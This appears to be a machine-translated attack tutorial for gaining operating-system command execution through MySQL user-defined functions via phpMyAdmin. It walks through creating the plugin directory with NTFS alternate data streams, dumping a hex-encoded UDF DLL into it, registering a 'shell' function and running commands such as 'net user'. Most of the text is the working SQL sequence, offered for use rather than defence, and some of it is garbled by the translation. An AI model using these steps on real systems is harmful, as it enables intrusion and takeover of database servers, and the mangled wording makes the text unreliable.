PhpMyAdmin UDF Privilege Escalation

[+] This is a side dish article !! Applicable environment: PhpMyAdmin 3.x, MySQL> 5.1, no Shell, cannot blow absolute path prerequisites: Have mysql root permission idea: use ntfs ads to create plugin directory ---- export UDF process: query select @ basedir (or select @ datadir) to obtain the MySQL directory C: \ MySql \. If the directory does not exist \ lib \ plugin, use ADS to create and query select 'xxx' into dumpfile 'C: \ MySQL \ lib: $ INDEX_ALLOCATION '. An ERROR of Error 3 (HY000): ERROR writing file 'C: \ MySQL \ lib: $ INDEX_ALLOCATION '(Errcode: 22) but the lib directory has been created and then query select 'xxx' into dumpfile 'C: \ MySQL \ lib \ plugin: $ INDEX_ALLOCATION '; export UDF. DLL selects a random library to query create table Temp_udf (udf BLOB); query INSERT into Temp_udf values (CONVERT ($ shellcode, CHAR )); // $ shellcode use the hex-encrypted code of UDF to query SELECT udf FROM Temp_udf into dumpfile 'C: \ MySQL \ lib \ plugin \ udf. dll '; -- Note: Remember to add it later. -- No will cause errors. I am wasting no time here (> 4 h) the possible cause is that when PhpMyAdmin queries, the Limit statement is automatically added at the end of the statement, resulting in an error occurred while querying the Create function using shell returns string soname' udf. dll '; // the absolute path cannot be entered here. It can only be the dll name query select * from mysql. func; // check whether the role shell function is created. When the function is created, the select role shell ('net user') is queried. // run various commands to escalate permissions.